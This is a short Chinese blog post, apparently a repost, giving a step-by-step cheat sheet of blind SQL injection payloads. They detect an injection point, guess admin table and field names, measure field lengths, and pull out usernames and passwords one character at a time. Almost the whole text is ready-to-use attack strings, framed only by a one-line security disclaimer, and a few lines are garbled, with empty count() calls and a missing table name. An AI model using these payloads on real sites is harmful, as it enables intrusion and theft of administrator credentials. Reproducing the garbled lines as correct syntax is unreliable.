看好你的门-攻击数据存储区(2)-SQL注入常用的一些技巧

来源:互联网 发布:阿里云企业网站 编辑:程序博客网 时间:2024/04/28 13:36

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。

  • 1.判断有无注入点

’ or 0=’0’—

  • 2.猜表名

一般的表的名称大概是:admin adminuser user pass password 等..
and 0<>(select count() from )
and 0<>(select count(*) from admin) —判断是否存在admin这张表

  • 3.猜帐号数

如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

  • 4.猜解字段名称

在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count() from admin where len()>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

  • 5.猜解各个字段的长度

猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count() from admin where len()>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

  • 6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –
这个查询语句可以猜解部分中文的用户和密码.只要把后面的数字换成中文的ASSIC码就可以。

0 0
原创粉丝点击